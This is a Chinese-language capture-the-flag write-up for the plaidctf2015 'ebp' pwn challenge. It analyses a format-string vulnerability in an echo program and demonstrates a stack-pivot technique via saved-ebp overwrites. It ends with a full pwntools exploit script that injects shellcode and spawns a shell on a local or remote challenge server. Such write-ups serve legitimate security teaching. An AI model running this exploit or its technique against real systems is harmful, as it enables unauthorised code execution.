plaidctf2015_ebp
从本题中可以学到一种相对特别的栈迁移技巧。
第一步,使用 file 命令了解文件的相关信息。
ebp: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=4e8094f9986968cd856db5093810badbb0749fde, not stripped
第二步,使用 IDA 反编译 ELF 查看伪代码。
int __cdecl main(int argc, const char **argv, const char **envp)
{
int result; // eax
while ( 1 )
{
result = (int)fgets(buf, 1024, stdin);
if ( !result )
break;
echo();
}
return result;
}
int echo()
{
make_response();
puts(response);
return fflush(stdout);
}
int make_response()
{
return snprintf(response, 0x400u, buf);
}
容易看出,程序中存在格式化字符串漏洞。
第三步,进行 gdb 调试,查看栈中的信息。
gef➤ b *0x0804851F
Breakpoint 1 at 0x804851f
gef➤ r
Starting program: /mnt/hgfs/CTF/BUUCTF/Pwn/plaidctf2015_ebp/ebp
%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p
gef➤ stack 25
0000| 0xffffcfd0 --> 0x804a480 ("0xf7fd31b0-0xf7fe77eb-(nil)-0xffffd008-0x804852c-0xffffd028-0xf7fee010-0xf7e6415b-(nil)-0xf7fb8000-0xf7fb8000-0xffffd028-0x8048557-0x804a080-0x400-0xf7fb85a0-(nil)-0xf7fb8000-0xf7fb8000-(nil)-0xf7e1e637-0x1-0xffffd0c4-0xffffd0cc-(nil)-(nil)-(nil)-0xf7fb8000-0xf7ffdc04-0xf7ffd000-(nil)-0xf7fb8000\n")
0004| 0xffffcfd4 --> 0x400
0008| 0xffffcfd8 --> 0x804a080 ("%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p\n")
0012| 0xffffcfdc --> 0xf7fd31b0 --> 0xf7e06000 --> 0x464c457f
0016| 0xffffcfe0 --> 0xf7fe77eb (add esi,0x15815)
0020| 0xffffcfe4 --> 0x0
0024| 0xffffcfe8 --> 0xffffd008 --> 0xffffd028 --> 0x0
0028| 0xffffcfec --> 0x804852c (<echo+11>: mov DWORD PTR [esp],0x804a480)
0032| 0xffffcff0 --> 0xffffd028 --> 0x0
0036| 0xffffcff4 --> 0xf7fee010 (pop edx)
0040| 0xffffcff8 --> 0xf7e6415b (<fgets+11>: add ebx,0x153ea5)
0044| 0xffffcffc --> 0x0
0048| 0xffffd000 --> 0xf7fb8000 --> 0x1b1db0
0052| 0xffffd004 --> 0xf7fb8000 --> 0x1b1db0
0056| 0xffffd008 --> 0xffffd028 --> 0x0
0060| 0xffffd00c --> 0x8048557 (<main+16>: mov eax,ds:0x804a040)
0064| 0xffffd010 --> 0x804a080 ("%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p\n")
0068| 0xffffd014 --> 0x400
0072| 0xffffd018 --> 0xf7fb85a0 --> 0xfbad2288
0076| 0xffffd01c --> 0x0
0080| 0xffffd020 --> 0xf7fb8000 --> 0x1b1db0
0084| 0xffffd024 --> 0xf7fb8000 --> 0x1b1db0
0088| 0xffffd028 --> 0x0
0092| 0xffffd02c --> 0xf7e1e637 (<__libc_start_main+247>: add esp,0x10)
0096| 0xffffd030 --> 0x1
第四步,通过 make_response 栈帧中的 saved ebp(即格式化字符串漏洞中的第四个参数)修改 echo 栈帧中的 saved ebp,使其指向 make_response 栈帧中的 saved ebp。
payload = shellcode + '%' + str(echo_ebp - len(shellcode)) + 'c'
payload += '%4$hn'
第五步,通过修改过的 echo 栈帧中的 saved ebp(即格式化字符串漏洞中的第十二个参数)修改 make_response 栈帧中的 saved ebp,使其指向栈中的一个指向 buf 的指针。由以上通过 gdb 调试所获得的信息来看,这样的指针是存在的。
payload = shellcode + '%' + str(buf_ptr - len(shellcode) - 4) + 'c'
payload += '%12$hn'
则当 echo 函数中的 leave 指令被执行后,便可达成栈迁移,程序会执行布置在 buf 中的 shellcode。
利用脚本如下:
# node3.buuoj.cn:26667
from pwn import *
context.log_level = 'debug'
if args.G:
io = remote('node3.buuoj.cn', 26667)
else:
io = process('./ebp')
buf = 0x804A080
payload = '%4$p'
# gdb.attach(io)
io.sendline(payload)
main_ebp = int(io.recv(10)[-4:], 16)
echo_ebp = main_ebp - 0x20
buf_ptr = main_ebp + 0x8
shellcode = asm(shellcraft.sh())
payload = shellcode + '%' + str(echo_ebp - len(shellcode)) + 'c'
payload += '%4$hn'
io.sendline(payload)
sleep(0.5)
payload = shellcode + '%' + str(buf_ptr - len(shellcode) - 4) + 'c'
payload += '%12$hn'
io.sendline(payload)
# gdb.attach(io, 'b *0x0804851f')
io.interactive()